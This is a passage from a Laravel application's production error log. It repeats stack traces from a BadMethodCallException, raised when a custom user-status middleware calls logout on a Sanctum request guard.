#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:13:38] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:13:40] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:13:47] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:13:49] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
